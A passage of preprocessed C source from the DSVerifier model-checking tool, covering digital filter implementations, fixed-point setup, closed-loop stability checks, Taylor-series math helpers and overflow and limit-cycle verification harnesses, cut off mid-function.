generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 129 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 234 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
